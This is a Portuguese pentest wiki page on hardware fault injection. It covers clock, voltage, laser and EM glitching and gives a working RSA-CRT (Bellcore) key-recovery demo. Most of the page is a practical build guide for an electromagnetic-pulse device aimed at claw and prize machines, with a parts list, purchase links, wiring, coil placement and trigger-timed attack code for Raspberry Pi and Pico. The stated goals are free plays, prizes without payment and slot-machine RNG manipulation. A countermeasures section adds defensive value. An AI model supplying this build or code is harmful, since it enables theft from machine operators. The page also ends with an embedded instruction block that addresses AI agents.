# Faut Injection

### 📑 **Índice**

1. Fundamentos do Fault Injection
2. Tipos de Ataques
3. Mecanismos de Injeção de Falhas
4. Equipamentos e Configuração
5. Metodologia de Ataque
6. Implementação e Técnicas
7. Ataques a Sistemas de Liberação (Fliperamas, Pelúcias, Arcades)
8. Contramedidas e Proteções
9. Ferramentas e Hardware

***

### 🔍 **Fundamentos do Fault Injection**

#### **O que é Fault Injection?**

**Fault Injection (Injeção de Falhas)** é uma técnica avançada de ataque físico que consiste em induzir erros deliberados no comportamento de um dispositivo eletrônico durante sua operação normal. Ao introduzir falhas em momentos críticos (como durante operações criptográficas), é possível extrair informações sensíveis, como chaves secretas, ou contornar mecanismos de segurança. A técnica explora o fato de que o comportamento de um circuito sob condições anormais (tensão, temperatura, clock) pode desviar do esperado, revelando vulnerabilidades que não existem em condições normais.

**Menção Honrosa:** essa técnica é utilizada para explorar as famosas máquinas de pelúcia, cadeiras de massagem e etc.

#### **Contexto Histórico**

```yaml
Evolução do Fault Injection:
  1996: Boneh, DeMillo e Lipton publicam "On the Importance of Checking Cryptographic Protocols for Faults"
  1997: Bellcore attack contra RSA (CRT)
  2000: Primeiros ataques práticos em smart cards
  2002: Ataques de glitch de clock (clock glitching)
  2005: Ataques de glitch de tensão (voltage glitching)
  2010: Ataques de laser (laser fault injection)
  2015: Ataques de EM pulse (electromagnetic fault injection)
  2020: Ataques de body-biasing (BBI)
  2024: Ataques combinados (laser + EM + voltage)
  2025: Ataques a sistemas de liberação de prêmios (arcades, fliperamas, pelúcias)

Motivação:
  ✅ Dispositivos criptográficos são projetados para operação normal
  ✅ Condições anormais podem quebrar suposições de segurança
  ✅ Pode contornar contramedidas de DPA/SPA
  ✅ Acesso físico a dispositivos é frequentemente possível
```

#### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Dispositivo Alvo"
        A[Operação Normal] --> B[Operação Criptográfica]
        B --> C[Resultado Correto]
    end
    
    subgraph "Injeção de Falha"
        D[Falha Induzida] --> E[Comportamento Anômalo]
        E --> F[Resultado Incorreto]
        F --> G[Informação Vazada]
    end
    
    subgraph "Análise"
        H[Comparação Resultados] --> I[Dedução de Chave]
        I --> J[Chave Recuperada]
    end
    
    C --> H
    F --> H
```

#### **Comparação com Outros Ataques Físicos**

| Técnica             | Acesso | Equipamento | Destrutivo   | Contramedidas       |
| ------------------- | ------ | ----------- | ------------ | ------------------- |
| **Fault Injection** | Físico | Médio/Alto  | Parcialmente | Detecção de falhas  |
| **DPA/SPA**         | Físico | Médio       | Não          | Masking, Hiding     |
| **Laser Probing**   | Físico | Muito Alto  | Não          | Camadas metálicas   |
| **Decapsulação**    | Físico | Muito Alto  | Sim          | Encapsulamento      |
| **Cold Boot**       | Físico | Baixo       | Não          | Criptografia em RAM |

***

### 🎯 **Tipos de Ataques**

#### **1. Clock Glitching (Glitch de Clock)**

```yaml
Mecanismo:
  - Injeção de pulsos de clock extras ou atrasados
  - Setup/hold time violations em flip-flops
  - Execução incorreta de instruções
  
Efeitos:
  - Skip de instruções (pular comparações)
  - Execução duplicada de instruções
  - Loop com número incorreto de iterações
  
Aplicações:
  - Bypass de verificação de PIN/senha
  - Extração de chaves RSA (CRT)
  - Pular loops de inicialização segura
```

#### **2. Voltage Glitching (Glitch de Tensão)**

```yaml
Mecanismo:
  - Redução temporária da tensão de alimentação (VDD)
  - Violação de margens de operação
  - Comportamento incorreto de células lógicas
  
Efeitos:
  - Instruções mal decodificadas
  - Escrita incorreta em memória
  - Reset parcial do dispositivo
  
Aplicações:
  - Bypass de proteções de memória
  - Extração de firmware
  - Escalonamento de privilégios
```

#### **3. Laser Fault Injection (LFI)**

```yaml
Mecanismo:
  - Iluminação localizada com laser pulsado
  - Criação de pares elétron-buraco em transistores
  - Mudança temporária de estado de células
  
Efeitos:
  - Bit flips em memória (SRAM, Flash)
  - Alteração de estado de flip-flops
  - Modificação de dados em trânsito
  
Aplicações:
  - Modificação de bits em operações criptográficas
  - Bypass de secure boot
  - Extração de chaves simétricas
```

#### **4. Electromagnetic Fault Injection (EMFI)**

```yaml
Mecanismo:
  - Pulso eletromagnético de alta intensidade
  - Indução de corrente em trilhas internas
  - Interferência em operações normais
  
Efeitos:
  - Injeção de falhas sem contato físico
  - Através de encapsulamento (não requer decapsulação)
  - Possível via back-side (chip invertido)
  
Aplicações:
  - Ataques a dispositivos encapsulados
  - Smart cards e TPMs
  - Microcontroladores comerciais
```

#### **5. Body Biasing Injection (BBI)**

```yaml
Mecanismo:
  - Injeção de tensão no substrato (body)
  - Alteração de tensão de threshold (Vt)
  - Comportamento incorreto de transistores
  
Efeitos:
  - Falhas em células específicas
  - Alto controle espacial
  - Baixo consumo de energia
  
Aplicações:
  - Ataques a FPGAs
  - Chips em tecnologias avançadas (FinFET)
  - Pesquisa acadêmica
```

#### **6. Temperature Fault Injection**

```yaml
Mecanismo:
  - Variação extrema de temperatura
  - Comportamento fora da especificação
  - Efeitos em osciladores e PLLs
  
Efeitos:
  - Instabilidade de clock
  - Erros em memórias (SRAM, Flash)
  - Comportamento anômalo de sensores
  
Aplicações:
  - Ataques a dispositivos industriais
  - Bypass de proteções térmicas
```

***

### ⚙️ **Mecanismos de Injeção de Falhas**

#### **Setup/Hold Time Violation**

```mermaid
graph LR
    subgraph "Operação Normal"
        A[Clock] --> B[Setup Time OK]
        B --> C[Flip-flop estabiliza]
    end
    
    subgraph "Com Glitch"
        D[Clock + Pulso Extra] --> E[Setup Time Violado]
        E --> F[Estado Metaestável]
        F --> G[Valor Indeterminado]
    end
```

#### **Glitch de Clock - Implementação**

```python
#!/usr/bin/env python3
# clock_glitch_demo.py

import time
import sys

class ClockGlitchSimulation:
    """
    Simulação de ataque de clock glitch
    """
    
    @staticmethod
    def vulnerable_compare(input_pin, expected_pin):
        """
        Função vulnerável a glitch - comparação de PIN
        """
        correct = 0
        for i in range(len(input_pin)):
            if input_pin[i] == expected_pin[i]:
                correct += 1
        
        # Se todos os caracteres coincidirem, PIN correto
        if correct == len(expected_pin):
            return True
        return False
    
    @staticmethod
    def glitch_compare(input_pin, expected_pin, glitch_position):
        """
        Simular glitch que faz o loop pular
        """
        correct = 0
        for i in range(len(input_pin)):
            # Glitch no meio do loop
            if i == glitch_position:
                # Loop termina prematuramente
                break
            if input_pin[i] == expected_pin[i]:
                correct += 1
        
        # Verificação falha se glitch ocorreu
        if correct == len(expected_pin):
            return True
        return False

# Exemplo
sim = ClockGlitchSimulation()
pin = "12345678"
input_pin = "1234????"

print("=== Simulação de Clock Glitch ===\n")
print(f"PIN esperado: {pin}")
print(f"PIN inserido: {input_pin}")
print(f"Verificação normal: {sim.vulnerable_compare(input_pin, pin)}")

# Tentar glitch em diferentes posições
for pos in range(len(pin)):
    result = sim.glitch_compare(input_pin, pin, pos)
    if result:
        print(f"Glitch na posição {pos}: VERIFICAÇÃO BYPASSADA!")
```

#### **Injeção de Falhas em RSA-CRT (Bellcore Attack)**

```python
#!/usr/bin/env python3
# rsa_crt_fault.py

import random

class RSACRTFaultAttack:
    """
    Ataque de Bellcore - Falha em RSA com CRT
    Recupera a chave privada a partir de uma assinatura com falha
    """
    
    @staticmethod
    def rsa_crt_sign(message, p, q, d, dp, dq, qinv):
        """
        Assinatura RSA com CRT (normal)
        """
        # Computação módulo p e q
        s1 = pow(message, dp, p)
        s2 = pow(message, dq, q)
        
        # Recombinação CRT
        h = (qinv * (s1 - s2)) % p
        signature = s2 + h * q
        
        return signature % (p * q)
    
    @staticmethod
    def rsa_crt_sign_faulty(message, p, q, d, dp, dq, qinv, fault_position='s1'):
        """
        Assinatura RSA com CRT com falha
        """
        # Computação módulo p e q
        s1 = pow(message, dp, p)
        s2 = pow(message, dq, q)
        
        # Injetar falha
        if fault_position == 's1':
            s1 = s1 ^ 0x01  # Inverter um bit
        elif fault_position == 's2':
            s2 = s2 ^ 0x01
        elif fault_position == 'recombine':
            qinv = qinv ^ 0x01
        
        # Recombinação CRT
        h = (qinv * (s1 - s2)) % p
        signature = s2 + h * q
        
        return signature % (p * q)
    
    @staticmethod
    def recover_key(message, correct_sig, faulty_sig, n):
        """
        Recuperar fator primo a partir de duas assinaturas
        """
        # gcd(n, sig_faulty - sig_correct) revela p
        diff = (faulty_sig - correct_sig) % n
        p = math.gcd(diff, n)
        
        if p != 1 and p != n:
            q = n // p
            return p, q
        
        return None, None

# Exemplo
import math

# Parâmetros RSA (pequenos para demonstração)
p = 61
q = 53
n = p * q
phi = (p-1)*(q-1)
e = 17
d = pow(e, -1, phi)
dp = d % (p-1)
dq = d % (q-1)
qinv = pow(q, -1, p)

message = 42

# Assinatura correta
correct_sig = RSACRTFaultAttack.rsa_crt_sign(message, p, q, d, dp, dq, qinv)

# Assinatura com falha
faulty_sig = RSACRTFaultAttack.rsa_crt_sign_faulty(message, p, q, d, dp, dq, qinv)

print("=== Ataque de Bellcore (RSA-CRT) ===\n")
print(f"n = {n}")
print(f"Mensagem: {message}")
print(f"Assinatura correta: {correct_sig}")
print(f"Assinatura com falha: {faulty_sig}")

# Recuperar chave
recovered_p, recovered_q = RSACRTFaultAttack.recover_key(message, correct_sig, faulty_sig, n)

if recovered_p:
    print(f"\n[+] Fator p recuperado: {recovered_p}")
    print(f"[+] Fator q recuperado: {recovered_q}")
    print(f"[+] Chave privada comprometida!")
else:
    print("\n[-] Falha na recuperação")
```

***

### 🎮 **Ataques a Sistemas de Liberação (Fliperamas, Pelúcias, Arcades)**

#### **Visão Geral do Ataque**

Máquinas de fliperama, caça-níqueis, **máquinas de pelúcia (gruas)** e outros sistemas de arcade utilizam microcontroladores e sensores para controlar a liberação de prêmios. Estes sistemas são projetados com contadores e verificações para garantir que o operador receba o pagamento correto. No entanto, através de Fault Injection, é possível enganar o sistema fazendo-o liberar jogadas sem o devido pagamento.

#### **⚠️ IMPORTANTE: Ataque a Máquinas de Pelúcia (Gruas)**

O ataque a máquinas de pelúcia NÃO é feito simplesmente "estimulando o capacitor de liberação da garra". O mecanismo correto envolve a geração de um **PEM (Pulse Electromagnetic)** para induzir uma corrente parasita no circuito de controle do eletroímã, fazendo com que o capacitor de disparo do TRIAC ou MOSFET descarregue no momento crítico, mantendo o eletroímã ativo por mais tempo do que o programado.

```mermaid
graph TD
    subgraph "Circuito de Controle da Garra"
        A[Microcontrolador] --> B[Driver do Eletroímã]
        B --> C[MOSFET/TRIAC]
        C --> D[Capacitor de Temporização]
        D --> E[Eletroímã]
    end
    
    subgraph "Ataque PEM"
        F[Gerador PEM] --> G[Bobina de Indução]
        G --> H[Campo EM Pulsado]
        H --> I[Corrente Induzida no Circuito]
        I --> J[Descarga Precoce do Capacitor]
        J --> K[Eletroímã Mantido Ativo]
    end
```

#### **Tipos de Sistemas Atacados**

| Tipo de Máquina               | Mecanismo de Liberação           | Vulnerabilidade                     | Dano                    |
| ----------------------------- | -------------------------------- | ----------------------------------- | ----------------------- |
| **Máquina de Pelúcia (Grua)** | Eletroímã + capacitor de disparo | Indução PEM no circuito de controle | Liberação sem pagamento |
| **Fliperama**                 | Eletroímãs, contatores           | Bypass de créditos                  | Jogadas infinitas       |
| **Caça-Níqueis**              | Motor de rotação, trilhos        | Manipulação de RNG                  | Prêmios frequentes      |
| **Arcade de Tiro**            | Sensores infravermelho           | Pulso extra no sensor               | Pontuação máxima        |
| **Máquina de Cartas**         | Leitor de código de barras       | Bypass de leitura                   | Cartas grátis           |
| **Balão de Prêmios**          | Corte de fio térmico             | Ativação prematura                  | Liberação sem resgate   |

#### **Ataque Físico a Máquina de Pelúcia (Grua) via PEM**

```yaml
Mecanismo Correto do Ataque:
  1. Identificar o circuito de controle do eletroímã da garra
  2. O circuito utiliza um capacitor para temporizar a ativação do TRIAC/MOSFET
  3. Atacante gera um PEM (Pulse Electromagnetic) de alta intensidade
  4. O campo EM induz corrente parasita no circuito
  5. O capacitor descarrega prematuramente, mantendo o eletroímã ativo
  6. A garra mantém a força máxima por mais tempo, garantindo mais tempo para pegar o prêmio
  
Componentes Alvo:
  - Capacitor do circuito de disparo do eletroímã
  - Trilhas de controle do TRIAC/MOSFET
  - Circuito de temporização (geralmente um RC)
  
Equipamento Necessário:
  - Gerador PEM (pode ser construído com ESP32 + MOSFET + bobina)
  - Bateria de alta corrente (LiPo)
  - Bobina de cobre esmaltado (10-20 espiras)
  - Capacitor de alta tensão (opcional, para maior potência)
```

#### **Gerador PEM para Ataque a Máquinas de Pelúcia**

```python
#!/usr/bin/env python3
# pem_generator_claw.py - Gerador de Pulso Eletromagnético para Gruas

import RPi.GPIO as GPIO
import time
import argparse

class PEMGenerator:
    """
    Gerador de Pulso Eletromagnético (PEM) para ataque a máquinas de pelúcia
    Compatível com Raspberry Pi Pico e Arduino
    """
    
    # Pinos do gerador
    PEM_OUTPUT = 18      # Pino que controla o MOSFET da bobina
    TRIGGER_INPUT = 17   # Pino que detecta o momento do agarre
    LED_STATUS = 25      # LED de status
    
    def __init__(self):
        GPIO.setmode(GPIO.BCM)
        GPIO.setup(self.PEM_OUTPUT, GPIO.OUT)
        GPIO.setup(self.TRIGGER_INPUT, GPIO.IN, pull_up_down=GPIO.PUD_UP)
        GPIO.setup(self.LED_STATUS, GPIO.OUT)
        
        GPIO.output(self.PEM_OUTPUT, GPIO.LOW)
        GPIO.output(self.LED_STATUS, GPIO.LOW)
        
        self.pulse_duration_us = 50      # microssegundos
        self.pulse_voltage = 12.0        # volts (múltiplas baterias)
        self.enabled = True
    
    def apply_pem_pulse(self):
        """
        Aplica pulso eletromagnético na bobina
        """
        # Ativar MOSFET para gerar campo EM
        GPIO.output(self.PEM_OUTPUT, GPIO.HIGH)
        GPIO.output(self.LED_STATUS, GPIO.HIGH)
        
        # Aguardar duração do pulso
        time.sleep(self.pulse_duration_us / 1_000_000)
        
        # Desligar pulso
        GPIO.output(self.PEM_OUTPUT, GPIO.LOW)
        GPIO.output(self.LED_STATUS, GPIO.LOW)
        
        print(f"[⚡] Pulso PEM aplicado - Duração: {self.pulse_duration_us}μs")
    
    def monitor_and_attack(self, timeout=60):
        """
        Monitora o momento do agarre e aplica PEM automaticamente
        """
        print(f"[*] Monitorando máquina por {timeout} segundos...")
        print("[*] Aguardando sinal de agarre...")
        
        start_time = time.time()
        pulse_applied = False
        
        while time.time() - start_time < timeout and self.enabled:
            # Aguardar trigger (ativação do motor de descida)
            if GPIO.input(self.TRIGGER_INPUT) == GPIO.LOW:
                print("[!] Sinal de agarre detectado!")
                
                # Delay crítico para sincronizar com o disparo do eletroímã
                time.sleep(0.00005)  # 50 microssegundos
                
                # Aplicar PEM
                self.apply_pem_pulse()
                pulse_applied = True
                
                # Aguardar para não aplicar múltiplas vezes
                time.sleep(0.5)
        
        if pulse_applied:
            print("[✅] Ataque PEM concluído! Eletroímã deve ter permanecido ativo.")
        else:
            print("[❌] Nenhum sinal de agarre detectado.")
        
        return pulse_applied
    
    def configure_pulse(self, duration_us=50):
        """
        Configurar parâmetros do pulso PEM
        """
        self.pulse_duration_us = duration_us
        print(f"[*] Pulso PEM configurado: {duration_us}μs")

# Esquema de ligação do Gerador PEM:
# 
# Raspberry Pi Pico          Bobina PEM (10-20 espiras)
# -------------------        ---------------------------
# GPIO 18 (PWM)       -----> Gate do MOSFET (IRLZ44N)
# GND                 -----> Source do MOSFET
# Bateria 12V (+)     -----> Drain do MOSFET
# Bateria 12V (-)     -----> GND do circuito
# Bobina entre Drain e +12V
# 
# A bobina deve ser posicionada a 1-2mm do circuito alvo
# (capacitor de disparo do eletroímã)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Gerador PEM para Máquinas de Pelúcia')
    parser.add_argument('--duration', type=int, default=50, 
                       help='Duração do pulso em microssegundos')
    parser.add_argument('--monitor', action='store_true',
                       help='Modo monitoramento contínuo')
    
    args = parser.parse_args()
    
    print("="*60)
    print("GERADOR PEM PARA MÁQUINAS DE PELÚCIA")
    print("="*60)
    print("\n[!] ATENÇÃO: Este código é para fins educacionais")
    print("[!] O PEM induz corrente no circuito alvo")
    print("[!] Use apenas em equipamentos que você possui autorização\n")
    
    pem = PEMGenerator()
    pem.configure_pulse(duration_us=args.duration)
    
    if args.monitor:
        print("\n[⚡] Iniciando modo de monitoramento...")
        pem.monitor_and_attack()
    else:
        print("\n[⚡] Pressione ENTER para aplicar pulso PEM manualmente")
        input()
        pem.apply_pem_pulse()
```

#### **Esquema Elétrico do Gerador PEM**

```yaml
Componentes do Gerador PEM:
  - Raspberry Pi Pico (controlador) ~R$ 35-50
  - MOSFET IRLZ44N (chaveamento) ~R$ 8-15
  - Bobina de cobre esmaltado AWG18 (10-20 espiras) ~R$ 10-20
  - Capacitor 1000μF 25V (filtro) ~R$ 5-10
  - Resistor 10Ω (gate) ~R$ 1
  - Bateria LiPo 3S (12V) ~R$ 50-80
  - Total: ~R$ 110-180

Construção da Bobina:
  - Diâmetro: 2-3 cm
  - Número de espiras: 10-20
  - Fio: AWG18 (1mm de diâmetro)
  - Formato: plano (tipo "pancake") para direcionar o campo

Funcionamento:
  1. O MOSFET descarrega a bobina rapidamente
  2. A variação de corrente gera campo EM pulsado
  3. O campo induz corrente no circuito alvo
  4. A corrente induzida descarrega o capacitor de disparo
  5. O TRIAC/MOSFET permanece aberto, mantendo o eletroímã ativo
```

#### **Ataque a Fliperama (Bypass de Créditos)**

```python
#!/usr/bin/env python3
# pinball_attack.py

import time
import random

class PinballMachineAttack:
    """
    Ataque a fliperama via fault injection - créditos infinitos
    """
    
    def __init__(self):
        self.credits = 0
        self.total_plays = 0
        self.score = 0
    
    def credit_check(self):
        """
        Verificação de crédito (vulnerável a glitch)
        """
        # Loop de verificação - alvo do glitch
        for i in range(self.credits):
            # Se houver glitch aqui, o loop pode ser interrompido
            # mesmo com credits = 0
            pass
        
        return self.credits > 0
    
    def credit_check_with_glitch(self, glitch_trigger):
        """
        Verificação vulnerável que pode ser bypassada
        """
        # Simular glitch que faz o processador pular a verificação
        if glitch_trigger:
            # Pulso de tensão faz o microcontrolador ignorar a condição
            print("[⚡] Glitch aplicado - verificação de crédito ignorada!")
            return True
        
        return self.credits > 0
    
    def normal_play(self):
        """
        Partida normal de fliperama
        """
        if not self.credit_check():
            print("[❌] Sem créditos! Insira moeda.")
            return False
        
        self.credits -= 1
        self.total_plays += 1
        
        print(f"[🎮] Partida iniciada! Créditos restantes: {self.credits}")
        
        # Simular jogo
        score_gained = random.randint(1000, 10000)
        self.score += score_gained
        print(f"[📊] Pontuação: {self.score} (+{score_gained})")
        
        return True
    
    def attack_play(self):
        """
        Partida sem consumir créditos (via fault injection)
        """
        # Aplicar glitch no momento da verificação de crédito
        has_credit = self.credit_check_with_glitch(glitch_trigger=True)
        
        if has_credit:
            self.total_plays += 1
            print(f"[⚡] PARTIDA VIA ATAQUE! Total de jogadas: {self.total_plays}")
            print(f"[💰] Créditos não foram consumidos! Ainda: {self.credits}")
            
            # Simular jogo
            score_gained = random.randint(1000, 10000)
            self.score += score_gained
            print(f"[📊] Pontuação: {self.score} (+{score_gained})")
            
            return True
        
        return False
    
    def coin_insert(self, num_coins=1):
        """
        Inserir moeda(s) na máquina
        """
        self.credits += num_coins
        print(f"[💰] {num_coins} moeda(s) inserida(s). Créditos: {self.credits}")
        return True

# Demonstração
print("="*60)
print("ATAQUE A FLIPERAMA - BYPASS DE CRÉDITOS")
print("="*60)

machine = PinballMachineAttack()

print("\n=== CENÁRIO 1: OPERAÇÃO NORMAL ===")
machine.coin_insert(2)
for _ in range(3):
    machine.normal_play()
    time.sleep(0.5)

print("\n=== CENÁRIO 2: ATAQUE SEM CRÉDITOS ===")
# Simular máquina sem créditos
machine.credits = 0
print(f"[!] Máquina sem créditos: {machine.credits}")

for _ in range(3):
    success = machine.attack_play()
    time.sleep(0.5)

print(f"\n[📊] RESULTADO FINAL:")
print(f"   Jogadas totais: {machine.total_plays}")
print(f"   Créditos consumidos: {2 - machine.credits}")
print(f"   Créditos restantes: {machine.credits}")
print(f"   Pontuação total: {machine.score}")
```

***

### 🛡️ **Contramedidas e Proteções**

#### **Técnicas de Proteção para Sistemas de Liberação**

```yaml
Proteções para Máquinas de Pelúcia/Arcade:
  
  Detecção de Glitch/PEM:
    - Sensores de tensão no capacitor de temporização
    - Watchdog timer para detectar loops anômalos
    - Verificação de integridade do firmware
    - Blindagem eletromagnética do circuito de controle
  
  Proteções Elétricas:
    - Capacitores de desacoplamento
    - Diodos de proteção contra surtos
    - Isolamento óptico para sinais críticos
    - Filtros EMI na entrada do circuito
  
  Proteções Lógicas:
    - Verificação de crédito em múltiplos pontos
    - Contadores redundantes (dois contadores independentes)
    - Registro de eventos em EEPROM (não volátil)
    - Detecção de anomalias de temporização
  
  Proteções Físicas:
    - Encapsulamento do circuito de controle
    - Trilhas de segurança (anti-tamper)
    - Cobertura dos componentes críticos
    - Blindagem de cobre sobre o circuito do eletroímã
```

#### **Hardening de Máquinas de Pelúcia**

```python
#!/usr/bin/env python3
# claw_machine_hardening.py

class ClawMachineHardening:
    """
    Medidas de proteção contra fault injection e PEM
    """
    
    def __init__(self):
        self.credit_counter = 0
        self.backup_credit_counter = 0
        self.event_log = []
        self.glitch_detected = False
        self.pem_detected = False
    
    def double_credit_check(self, requested_credits):
        """
        Verificação dupla de crédito (DMR)
        """
        # Contador principal
        main_ok = self.credit_counter >= requested_credits
        
        # Contador de backup (independente)
        backup_ok = self.backup_credit_counter >= requested_credits
        
        # Ambos devem concordar
        if main_ok != backup_ok:
            self.glitch_detected = True
            self.event_log.append({
                'time': time.time(),
                'event': 'CREDIT_MISMATCH',
                'main': self.credit_counter,
                'backup': self.backup_credit_counter
            })
            print("[⚠️] GLITCH DETECTADO! Créditos inconsistentes.")
            return False
        
        return main_ok
    
    def secure_prize_release(self):
        """
        Liberação segura de prêmio
        """
        # Verificar crédito duplo
        if not self.double_credit_check(1):
            print("[🔒] Liberação bloqueada - possível ataque")
            return False
        
        # Verificar integridade do temporizador
        timer_ok = self.check_timer_integrity()
        if not timer_ok:
            print("[🔒] Temporizador comprometido - bloqueando liberação")
            return False
        
        # Registrar liberação
        self.credit_counter -= 1
        self.backup_credit_counter -= 1
        self.event_log.append({
            'time': time.time(),
            'event': 'PRIZE_RELEASED',
            'credits_remaining': self.credit_counter
        })
        
        print("[✅] Prêmio liberado com segurança")
        return True
    
    def check_timer_integrity(self):
        """
        Verificar se o temporizador não foi manipulado
        """
        # Verificação de watchdog
        # Verificação de checksum do firmware
        # Verificação de sensores de tensão
        return True
    
    def detect_pem_attack(self):
        """
        Detectar ataque PEM por interferência eletromagnética
        """
        # Em hardware real, usar sensor de campo EM
        # ou monitorar flutuações anormais na tensão
        
        if self.pem_detected:
            self.enter_lockdown_mode()
            return True
        return False
    
    def enter_lockdown_mode(self):
        """
        Modo de bloqueio após detecção de ataque
        """
        print("[🔒] MODO DE BLOQUEIO ATIVADO!")
        print("[🔒] Desligando eletroímãs e sensores")
        print("[🔒] Registrando incidente")
        # Desabilitar funcionalidades críticas
        # Notificar operador
        # Aguardar reset manual

# Exemplo de implementação em hardware (conceito)
hardened = ClawMachineHardening()
```

***

### 🔧 **Ferramentas e Hardware DIY**

#### **Gerador PEM Portátil (Raspberry Pi Pico)**

```yaml
Componentes Necessários:
  - Raspberry Pi Pico (USB-C) ~R$ 35-50 (Shopee, AliExpress, Mercado Livre)
  - MOSFET IRLZ44N ~R$ 8-15 (Shopee, Mercado Livre)
  - Bobina de cobre AWG18 (20 espiras, 3cm diâmetro) ~R$ 10-20
  - Capacitor 1000μF 25V ~R$ 5-10
  - Resistor 10Ω ~R$ 1
  - Diodo de proteção (1N4007) ~R$ 1
  - Bateria LiPo 3S (12V) ~R$ 50-80
  - Fios de teste com pinos ~R$ 10-20
  - Estojo impresso em 3D (opcional) ~R$ 30-50
  
  Total: ~R$ 150-250

Links de Compra:
  - Raspberry Pi Pico: https://s.click.aliexpress.com/xxx
  - MOSFET IRLZ44N: https://www.mercadolivre.com.br/xxx
  - Bateria LiPo: https://www.mercadolivre.com.br/xxx
  - Fios de teste: https://s.click.aliexpress.com/xxx

Esquema de Ligação do Gerador PEM:
  
  Raspberry Pi Pico        Gerador PEM
  -----------------        ------------
  GPIO 18 (PWM)     -----> Gate do MOSFET
  GND               -----> Source do MOSFET
  Bateria 12V (+)   -----> Drain do MOSFET
  Bateria 12V (-)   -----> GND do circuito
  Bobina entre Drain e +12V
  Diodo em paralelo com a bobina (proteção)
```

#### **Código para Raspberry Pi Pico (MicroPython)**

```python
# pem_generator_pico.py - Gerador PEM para Raspberry Pi Pico
# Carregar via Thonny ou ampy

from machine import Pin, PWM, Timer
import time

# Configurar pinos
pem_pin = Pin(18, Pin.OUT)
trigger_pin = Pin(17, Pin.IN, Pin.PULL_UP)
led = Pin(25, Pin.OUT)

# Configurar PWM para controle fino
pwm = PWM(Pin(18))
pwm.freq(1000000)  # 1 MHz

pulse_count = 0

def apply_pem_pulse(duration_us=50):
    """
    Aplica pulso eletromagnético na bobina
    """
    global pulse_count
    
    # Ativar pulso (duty cycle máximo por microssegundos)
    pwm.duty_u16(65535)  # 100% duty cycle
    led.value(1)
    
    # Aguardar duração
    time.sleep_us(duration_us)
    
    # Desativar
    pwm.duty_u16(0)
    led.value(0)
    
    pulse_count += 1
    print(f"PEM #{pulse_count} aplicado - {duration_us}us")

def monitor_and_attack():
    """
    Monitora trigger e aplica PEM automaticamente
    """
    print("Monitorando máquina de pelúcia...")
    print("Aproxime a bobina do circuito de controle")
    print("Aguarde o momento do agarre...")
    
    while True:
        if trigger_pin.value() == 0:  # Trigger ativado
            print("Trigger detectado!")
            # Sincronização crítica (microssegundos)
            time.sleep_us(50)
            apply_pem_pulse(80)  # Pulso de 80μs
            time.sleep(0.5)  # Debounce

# Executar
print("Gerador PEM para Máquinas de Pelúcia")
print("Bobina posicionada a 1-2mm do circuito alvo")
print("Aguardando trigger...")

# Modo automático
monitor_and_attack()
```

***

### 📊 **Conclusão e Boas Práticas**

#### **Resumo Técnico**

```yaml
Fault Injection:
  ✅ Ataque físico poderoso contra dispositivos criptográficos
  ✅ Pode contornar contramedidas de DPA/SPA
  ✅ Requer acesso físico (geralmente minutos a horas)
  ✅ Equipamento de médio a alto custo

Aplicações em Máquinas de Liberação:
  ✅ Bypass de sistemas de crédito
  ✅ Manipulação de temporizadores de eletroímã (via PEM)
  ✅ Liberação múltipla de prêmios
  ✅ Baixo custo de implementação (R$ 150-250)

Defesas:
  ❌ Proteção apenas lógica é insuficiente
  ✓ Implementar detecção de falhas (sensores)
  ✓ Usar redundância (DMR, TMR)
  ✓ Randomizar timing de operações
  ✓ Blindagem eletromagnética do circuito de controle
```

#### **Recomendações Finais**

1. **Para Operadores de Máquinas**
   * Instalar sensores de tensão no circuito de controle
   * Usar contadores redundantes de crédito
   * Adicionar blindagem eletromagnética sobre o circuito do eletroímã
   * Inspecionar regularmente componentes críticos
2. **Para Pesquisadores/Pentesters**
   * Começar com glitch de clock (mais simples)
   * Para máquinas de pelúcia: usar gerador PEM (pulso eletromagnético)
   * Posicionar bobina a 1-2mm do capacitor de disparo
   * Documentar parâmetros de sucesso (timing, potência)
3. **Para Profissionais de Segurança**
   * Avaliar resistência a fault injection em produtos
   * Preferir dispositivos com certificação (Common Criteria)
   * Implementar detecção de violação física e PEM
   * Limpar dados sensíveis após detecção de falha


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/faut-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.